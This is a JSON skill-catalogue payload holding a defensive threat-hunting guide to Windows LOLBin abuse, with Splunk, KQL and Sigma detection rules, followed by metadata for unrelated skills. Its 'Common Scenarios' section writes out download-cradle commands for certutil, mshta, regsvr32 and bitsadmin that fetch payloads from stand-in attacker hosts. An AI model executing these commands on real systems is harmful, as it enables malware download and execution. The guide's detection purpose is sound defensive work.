[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7EKXK9K2P30R2KFSY70ZBJ8":3,"skill-same:01M7EKXK9K2P30R2KFSY70ZBJ8":88},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":52,"commitSha":53,"skillDirectory":54,"forksCount":55,"repositoryHtmlUrl":56,"repositoryHomepageUrl":6,"ownerHtmlUrl":57,"ownerBlogUrl":6,"ownerDescription":58,"updatedAt":59,"install":60,"resources":73},"01M7EKXK9K2P30R2KFSY70ZBJ8","hunting-for-lolbins-execution-in-endpoint-logs",null,"Hunts for LOLBins (Living Off the Land Binaries) abuse, mapped to MITRE T1218, by analyzing endpoint process-creation logs for suspicious execution patterns of legitimate Windows system binaries used for malicious purposes. Use when reviewing endpoint process telemetry for LOLBins-based defense evasion or building detections for signed-binary proxy execution.","lza6\u002FArmor-piercing-system-prompts","lza6","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F128880206?v=4","01M7EB3K7WPX5T28EJ2NVHE6EG","Chinese-tingfeng","01M7EB3K97E1KQ16QWKJMFNGX8",11,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fhunting-for-lolbins-execution-in-endpoint-logs\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: hunting-for-lolbins-execution-in-endpoint-logs\ndescription: Hunts for LOLBins (Living Off the Land Binaries) abuse, mapped to MITRE\n  T1218, by analyzing endpoint process-creation logs for suspicious execution patterns\n  of legitimate Windows system binaries used for malicious purposes. Use when reviewing\n  endpoint process telemetry for LOLBins-based defense evasion or building detections\n  for signed-binary proxy execution.\ndomain: cybersecurity\nsubdomain: threat-hunting\ntags:\n- threat-hunting\n- lolbins\n- living-off-the-land\n- endpoint-detection\n- process-monitoring\n- mitre-t1218\n- defense-evasion\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nd3fend_techniques:\n- Executable Denylisting\n- Execution Isolation\n- File Metadata Consistency Validation\n- Application Protocol Command Analysis\n- Content Format Conversion\nnist_csf:\n- DE.CM-01\n- DE.AE-02\n- DE.AE-07\n- ID.RA-05\nmitre_attack:\n- T1046\n- T1057\n- T1082\n- T1083\n- T1027\n---\n\n# Hunting for LOLBins Execution in Endpoint Logs\n\n## When to Use\n\n- When hunting for fileless attack techniques that abuse built-in Windows binaries\n- After threat intelligence indicates LOLBin-based campaigns targeting your industry\n- When investigating alerts for suspicious use of certutil, mshta, rundll32, or regsvr32\n- During purple team exercises testing detection of defense evasion techniques\n- When assessing endpoint detection coverage for MITRE ATT&CK T1218 sub-techniques\n\n## Prerequisites\n\n- Sysmon Event ID 1 (Process Creation) with full command-line logging\n- Windows Security Event ID 4688 with command-line auditing enabled\n- EDR telemetry with parent-child process relationships\n- SIEM platform for query and correlation (Splunk, Elastic, Microsoft Sentinel)\n- LOLBAS project reference (lolbas-project.github.io) for known abuse patterns\n\n## Workflow\n\n1. **Build LOLBin Watchlist**: Compile a list of high-risk LOLBins from the LOLBAS project, prioritizing: certutil.exe, mshta.exe, rundll32.exe, regsvr32.exe, msbuild.exe, installutil.exe, cmstp.exe, wmic.exe, wscript.exe, cscript.exe, bitsadmin.exe, and powershell.exe.\n2. **Baseline Normal Usage**: Establish what normal LOLBin usage looks like in your environment by profiling command-line arguments, parent processes, and user contexts for each binary over 30 days.\n3. **Hunt for Anomalous Arguments**: Search for LOLBins executed with unusual command-line arguments indicating abuse -- certutil with `-urlcache -decode -encode`, mshta with URL arguments, rundll32 loading DLLs from temp\u002Fuser directories, regsvr32 with `\u002Fs \u002Fn \u002Fu \u002Fi:URL`.\n4. **Analyze Parent-Child Relationships**: Identify unexpected parent processes spawning LOLBins -- for example, outlook.exe spawning mshta.exe, or winword.exe spawning certutil.exe indicates weaponized document delivery.\n5. **Check Execution from Unusual Paths**: LOLBins executed from non-standard paths (copies placed in %TEMP%, user profile directories) suggest renamed binary abuse.\n6. **Correlate with Network Activity**: Map LOLBin execution to outbound network connections (Sysmon Event ID 3) to identify download cradles and C2 callbacks.\n7. **Score and Prioritize**: Rank findings by anomaly severity, combining suspicious arguments, unusual parent process, non-standard path, and network activity indicators.\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| T1218 | System Binary Proxy Execution |\n| T1218.001 | Compiled HTML File (mshta.exe) |\n| T1218.003 | CMSTP |\n| T1218.005 | Mshta |\n| T1218.010 | Regsvr32 (Squiblydoo) |\n| T1218.011 | Rundll32 |\n| T1127.001 | MSBuild |\n| T1197 | BITS Jobs (bitsadmin.exe) |\n| T1140 | Deobfuscate\u002FDecode Files (certutil.exe) |\n| T1059.001 | PowerShell |\n| T1059.005 | Visual Basic (wscript\u002Fcscript) |\n| LOLBAS | Living Off the Land Binaries, Scripts and Libraries project |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Sysmon | Process creation with command-line and hash logging |\n| CrowdStrike Falcon | EDR with LOLBin detection analytics |\n| Microsoft Defender for Endpoint | Built-in LOLBin abuse detection |\n| Splunk | SPL-based process hunting and anomaly detection |\n| Elastic Security | Pre-built LOLBin detection rules |\n| LOLBAS Project | Reference database of LOLBin abuse techniques |\n| Sigma Rules | Community detection rules for LOLBin abuse |\n\n## Detection Queries\n\n### Splunk -- High-Risk LOLBin Execution\n```spl\nindex=sysmon EventCode=1\n| where match(Image, \"(?i)(certutil|mshta|rundll32|regsvr32|msbuild|installutil|cmstp|bitsadmin)\\.exe$\")\n| eval suspicious=case(\n    match(CommandLine, \"(?i)certutil.*(-urlcache|-decode|-encode)\"), \"certutil_download_decode\",\n    match(CommandLine, \"(?i)mshta.*(http|https|javascript|vbscript)\"), \"mshta_remote_exec\",\n    match(CommandLine, \"(?i)rundll32.*\\\\\\\\(temp|appdata|users)\"), \"rundll32_unusual_dll\",\n    match(CommandLine, \"(?i)regsvr32.*\u002Fs.*\u002Fn.*\u002Fu.*\u002Fi:\"), \"regsvr32_squiblydoo\",\n    match(CommandLine, \"(?i)msbuild.*\\\\\\\\(temp|appdata|users)\"), \"msbuild_unusual_project\",\n    match(CommandLine, \"(?i)bitsadmin.*\u002Ftransfer\"), \"bitsadmin_download\",\n    match(CommandLine, \"(?i)cmstp.*\u002Fs.*\u002Fni\"), \"cmstp_uac_bypass\",\n    1=1, \"normal\"\n)\n| where suspicious!=\"normal\"\n| table _time Computer User Image CommandLine ParentImage ParentCommandLine suspicious\n```\n\n### KQL -- Microsoft Sentinel LOLBin Hunting\n```kql\nDeviceProcessEvents\n| where Timestamp > ago(7d)\n| where FileName in~ (\"certutil.exe\", \"mshta.exe\", \"rundll32.exe\", \"regsvr32.exe\",\n    \"msbuild.exe\", \"installutil.exe\", \"cmstp.exe\", \"bitsadmin.exe\")\n| where ProcessCommandLine matches regex @\"(?i)(urlcache|decode|encode|http:\u002F\u002F|https:\u002F\u002F|javascript:|vbscript:|\u002Fs\\s+\u002Fn|\u002Ftransfer)\"\n| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,\n    InitiatingProcessFileName, InitiatingProcessCommandLine\n| sort by Timestamp desc\n```\n\n### Sigma Rule -- Suspicious LOLBin Command Line\n```yaml\ntitle: Suspicious LOLBin Execution with Malicious Arguments\nstatus: experimental\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_certutil:\n        Image|endswith: '\\certutil.exe'\n        CommandLine|contains:\n            - '-urlcache'\n            - '-decode'\n            - '-encode'\n    selection_mshta:\n        Image|endswith: '\\mshta.exe'\n        CommandLine|contains:\n            - 'http:\u002F\u002F'\n            - 'https:\u002F\u002F'\n            - 'javascript:'\n    selection_regsvr32:\n        Image|endswith: '\\regsvr32.exe'\n        CommandLine|contains|all:\n            - '\u002Fs'\n            - '\u002Fi:'\n    condition: 1 of selection_*\nlevel: high\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n```\n\n## Common Scenarios\n\n1. **Certutil Download Cradle**: `certutil.exe -urlcache -split -f http:\u002F\u002Fmalicious.com\u002Fpayload.exe %TEMP%\\payload.exe` used to download malware bypassing proxy filters.\n2. **Mshta HTA Execution**: `mshta.exe http:\u002F\u002Fattacker.com\u002Fmalicious.hta` executing remote HTA files containing VBScript or JScript payloads.\n3. **Regsvr32 Squiblydoo**: `regsvr32 \u002Fs \u002Fn \u002Fu \u002Fi:http:\u002F\u002Fattacker.com\u002Ffile.sct scrobj.dll` executing remote SCT files to bypass application whitelisting.\n4. **Rundll32 DLL Proxy**: `rundll32.exe C:\\Users\\user\\AppData\\Local\\Temp\\malicious.dll,EntryPoint` executing attacker DLLs via legitimate binary.\n5. **MSBuild Inline Task**: `msbuild.exe C:\\Temp\\malicious.csproj` executing C# code embedded in project files to bypass application control.\n6. **BITS Transfer**: `bitsadmin \u002Ftransfer job \u002Fdownload \u002Fpriority high http:\u002F\u002Fattacker.com\u002Fmalware.exe C:\\Temp\\update.exe` using BITS service for stealthy file download.\n7. **WMIC XSL Execution**: `wmic process list \u002Fformat:evil.xsl` executing JScript\u002FVBScript from XSL stylesheets.\n\n## Output Format\n\n```\nHunt ID: TH-LOLBIN-[DATE]-[SEQ]\nHost: [Hostname]\nUser: [Account context]\nLOLBin: [Binary name]\nFull Path: [Execution path]\nCommand Line: [Full arguments]\nParent Process: [Parent image and command line]\nDetection Category: [download_cradle\u002Fproxy_exec\u002Fuac_bypass\u002Fapplocker_bypass]\nNetwork Activity: [Yes\u002FNo -- destination if applicable]\nRisk Level: [Critical\u002FHigh\u002FMedium\u002FLow]\n```\n","# Hunting for LOLBins Execution in Endpoint Logs\n\n## When to Use\n\n- When hunting for fileless attack techniques that abuse built-in Windows binaries\n- After threat intelligence indicates LOLBin-based campaigns targeting your industry\n- When investigating alerts for suspicious use of certutil, mshta, rundll32, or regsvr32\n- During purple team exercises testing detection of defense evasion techniques\n- When assessing endpoint detection coverage for MITRE ATT&CK T1218 sub-techniques\n\n## Prerequisites\n\n- Sysmon Event ID 1 (Process Creation) with full command-line logging\n- Windows Security Event ID 4688 with command-line auditing enabled\n- EDR telemetry with parent-child process relationships\n- SIEM platform for query and correlation (Splunk, Elastic, Microsoft Sentinel)\n- LOLBAS project reference (lolbas-project.github.io) for known abuse patterns\n\n## Workflow\n\n1. **Build LOLBin Watchlist**: Compile a list of high-risk LOLBins from the LOLBAS project, prioritizing: certutil.exe, mshta.exe, rundll32.exe, regsvr32.exe, msbuild.exe, installutil.exe, cmstp.exe, wmic.exe, wscript.exe, cscript.exe, bitsadmin.exe, and powershell.exe.\n2. **Baseline Normal Usage**: Establish what normal LOLBin usage looks like in your environment by profiling command-line arguments, parent processes, and user contexts for each binary over 30 days.\n3. **Hunt for Anomalous Arguments**: Search for LOLBins executed with unusual command-line arguments indicating abuse -- certutil with `-urlcache -decode -encode`, mshta with URL arguments, rundll32 loading DLLs from temp\u002Fuser directories, regsvr32 with `\u002Fs \u002Fn \u002Fu \u002Fi:URL`.\n4. **Analyze Parent-Child Relationships**: Identify unexpected parent processes spawning LOLBins -- for example, outlook.exe spawning mshta.exe, or winword.exe spawning certutil.exe indicates weaponized document delivery.\n5. **Check Execution from Unusual Paths**: LOLBins executed from non-standard paths (copies placed in %TEMP%, user profile directories) suggest renamed binary abuse.\n6. **Correlate with Network Activity**: Map LOLBin execution to outbound network connections (Sysmon Event ID 3) to identify download cradles and C2 callbacks.\n7. **Score and Prioritize**: Rank findings by anomaly severity, combining suspicious arguments, unusual parent process, non-standard path, and network activity indicators.\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| T1218 | System Binary Proxy Execution |\n| T1218.001 | Compiled HTML File (mshta.exe) |\n| T1218.003 | CMSTP |\n| T1218.005 | Mshta |\n| T1218.010 | Regsvr32 (Squiblydoo) |\n| T1218.011 | Rundll32 |\n| T1127.001 | MSBuild |\n| T1197 | BITS Jobs (bitsadmin.exe) |\n| T1140 | Deobfuscate\u002FDecode Files (certutil.exe) |\n| T1059.001 | PowerShell |\n| T1059.005 | Visual Basic (wscript\u002Fcscript) |\n| LOLBAS | Living Off the Land Binaries, Scripts and Libraries project |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Sysmon | Process creation with command-line and hash logging |\n| CrowdStrike Falcon | EDR with LOLBin detection analytics |\n| Microsoft Defender for Endpoint | Built-in LOLBin abuse detection |\n| Splunk | SPL-based process hunting and anomaly detection |\n| Elastic Security | Pre-built LOLBin detection rules |\n| LOLBAS Project | Reference database of LOLBin abuse techniques |\n| Sigma Rules | Community detection rules for LOLBin abuse |\n\n## Detection Queries\n\n### Splunk -- High-Risk LOLBin Execution\n```spl\nindex=sysmon EventCode=1\n| where match(Image, \"(?i)(certutil|mshta|rundll32|regsvr32|msbuild|installutil|cmstp|bitsadmin)\\.exe$\")\n| eval suspicious=case(\n    match(CommandLine, \"(?i)certutil.*(-urlcache|-decode|-encode)\"), \"certutil_download_decode\",\n    match(CommandLine, \"(?i)mshta.*(http|https|javascript|vbscript)\"), \"mshta_remote_exec\",\n    match(CommandLine, \"(?i)rundll32.*\\\\\\\\(temp|appdata|users)\"), \"rundll32_unusual_dll\",\n    match(CommandLine, \"(?i)regsvr32.*\u002Fs.*\u002Fn.*\u002Fu.*\u002Fi:\"), \"regsvr32_squiblydoo\",\n    match(CommandLine, \"(?i)msbuild.*\\\\\\\\(temp|appdata|users)\"), \"msbuild_unusual_project\",\n    match(CommandLine, \"(?i)bitsadmin.*\u002Ftransfer\"), \"bitsadmin_download\",\n    match(CommandLine, \"(?i)cmstp.*\u002Fs.*\u002Fni\"), \"cmstp_uac_bypass\",\n    1=1, \"normal\"\n)\n| where suspicious!=\"normal\"\n| table _time Computer User Image CommandLine ParentImage ParentCommandLine suspicious\n```\n\n### KQL -- Microsoft Sentinel LOLBin Hunting\n```kql\nDeviceProcessEvents\n| where Timestamp > ago(7d)\n| where FileName in~ (\"certutil.exe\", \"mshta.exe\", \"rundll32.exe\", \"regsvr32.exe\",\n    \"msbuild.exe\", \"installutil.exe\", \"cmstp.exe\", \"bitsadmin.exe\")\n| where ProcessCommandLine matches regex @\"(?i)(urlcache|decode|encode|http:\u002F\u002F|https:\u002F\u002F|javascript:|vbscript:|\u002Fs\\s+\u002Fn|\u002Ftransfer)\"\n| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,\n    InitiatingProcessFileName, InitiatingProcessCommandLine\n| sort by Timestamp desc\n```\n\n### Sigma Rule -- Suspicious LOLBin Command Line\n```yaml\ntitle: Suspicious LOLBin Execution with Malicious Arguments\nstatus: experimental\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_certutil:\n        Image|endswith: '\\certutil.exe'\n        CommandLine|contains:\n            - '-urlcache'\n            - '-decode'\n            - '-encode'\n    selection_mshta:\n        Image|endswith: '\\mshta.exe'\n        CommandLine|contains:\n            - 'http:\u002F\u002F'\n            - 'https:\u002F\u002F'\n            - 'javascript:'\n    selection_regsvr32:\n        Image|endswith: '\\regsvr32.exe'\n        CommandLine|contains|all:\n            - '\u002Fs'\n            - '\u002Fi:'\n    condition: 1 of selection_*\nlevel: high\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n```\n\n## Common Scenarios\n\n1. **Certutil Download Cradle**: `certutil.exe -urlcache -split -f http:\u002F\u002Fmalicious.com\u002Fpayload.exe %TEMP%\\payload.exe` used to download malware bypassing proxy filters.\n2. **Mshta HTA Execution**: `mshta.exe http:\u002F\u002Fattacker.com\u002Fmalicious.hta` executing remote HTA files containing VBScript or JScript payloads.\n3. **Regsvr32 Squiblydoo**: `regsvr32 \u002Fs \u002Fn \u002Fu \u002Fi:http:\u002F\u002Fattacker.com\u002Ffile.sct scrobj.dll` executing remote SCT files to bypass application whitelisting.\n4. **Rundll32 DLL Proxy**: `rundll32.exe C:\\Users\\user\\AppData\\Local\\Temp\\malicious.dll,EntryPoint` executing attacker DLLs via legitimate binary.\n5. **MSBuild Inline Task**: `msbuild.exe C:\\Temp\\malicious.csproj` executing C# code embedded in project files to bypass application control.\n6. **BITS Transfer**: `bitsadmin \u002Ftransfer job \u002Fdownload \u002Fpriority high http:\u002F\u002Fattacker.com\u002Fmalware.exe C:\\Temp\\update.exe` using BITS service for stealthy file download.\n7. **WMIC XSL Execution**: `wmic process list \u002Fformat:evil.xsl` executing JScript\u002FVBScript from XSL stylesheets.\n\n## Output Format\n\n```\nHunt ID: TH-LOLBIN-[DATE]-[SEQ]\nHost: [Hostname]\nUser: [Account context]\nLOLBin: [Binary name]\nFull Path: [Execution path]\nCommand Line: [Full arguments]\nParent Process: [Parent image and command line]\nDetection Category: [download_cradle\u002Fproxy_exec\u002Fuac_bypass\u002Fapplocker_bypass]\nNetwork Activity: [Yes\u002FNo -- destination if applicable]\nRisk Level: [Critical\u002FHigh\u002FMedium\u002FLow]\n```\n",{"name":5,"tags":24,"author":32,"domain":33,"license":15,"version":34,"nist_csf":35,"subdomain":25,"description":7,"mitre_attack":40,"d3fend_techniques":46},[25,26,27,28,29,30,31],"threat-hunting","lolbins","living-off-the-land","endpoint-detection","process-monitoring","mitre-t1218","defense-evasion","mahipal","cybersecurity","1.0",[36,37,38,39],"DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05",[41,42,43,44,45],"T1046","T1057","T1082","T1083","T1027",[47,48,49,50,51],"Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Application Protocol Command Analysis","Content Format Conversion","main","d69096e239f2a89aabc2cd078c47664a9d3b1e11","04-安全渗透\u002Fhunting-for-lolbins-execution-in-endpoint-logs",3,"https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts","https:\u002F\u002Fgithub.com\u002Flza6","个人vx：Tf00798\r\n个人✈：@TFGY999","2026-10-08 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for creating templates for the Obsidian Web Clipper. Use when you want to create a new clipping template, understand available variables, or format clipped content.","MIT","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator\u002FSKILL.md",[],[],"2026-11-16 10:05:34",{"skillNo":99,"name":91,"nameZh":6,"description":92,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":93,"licenseFileUrl":6,"sourceHtmlUrl":100,"categories":101,"keywords":102,"publishedAt":97},"01M7FFG0T6AZ0STEJPSB3CX84K","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator-antigravity-awesome-skills-main\u002FSKILL.md",[],[],{"skillNo":104,"name":105,"nameZh":6,"description":106,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":93,"licenseFileUrl":6,"sourceHtmlUrl":107,"categories":108,"keywords":109,"publishedAt":97},"01M7FFFY0QEM14SKWPDYGMXM2P","python-api","Programmatic Object-Detection-Metrics API guidance for BoundingBox, BoundingBoxes, Evaluator, enums, coordinate conversion, AP\u002FmAP semantics, and source-style import diagnostics.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Fpython-api\u002FSKILL.md",[],[],{"skillNo":111,"name":112,"nameZh":6,"description":113,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":93,"licenseFileUrl":6,"sourceHtmlUrl":114,"categories":115,"keywords":116,"publishedAt":97},"01M7FFFVZQZ2GJ0C0TGP7JHD20","file-evaluation","Folder-based PASCAL VOC AP\u002FmAP evaluation from ground-truth and detection text files.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Ffile-evaluation\u002FSKILL.md",[],[],{"skillNo":118,"name":119,"nameZh":6,"description":120,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":93,"licenseFileUrl":6,"sourceHtmlUrl":121,"categories":122,"keywords":123,"publishedAt":97},"01M7FFFSFNYSE77SJ6PE1CK2DA","object-detection-metrics","Guides legacy Object-Detection-Metrics PASCAL VOC AP\u002FmAP evaluation from detection text folders and direct Python API classes.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002FSKILL.md",[],[],{"skillNo":125,"name":126,"nameZh":6,"description":127,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":93,"licenseFileUrl":6,"sourceHtmlUrl":128,"categories":129,"keywords":130,"publishedAt":97},"01M7FFFP0GCK1RVXBCPQ8APBMT","nx-workspace-patterns","Configure and optimize Nx monorepo workspaces. Use when setting up Nx, configuring project boundaries, optimizing build caching, or implementing affected commands.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fnx-workspace-patterns\u002FSKILL.md",[],[]]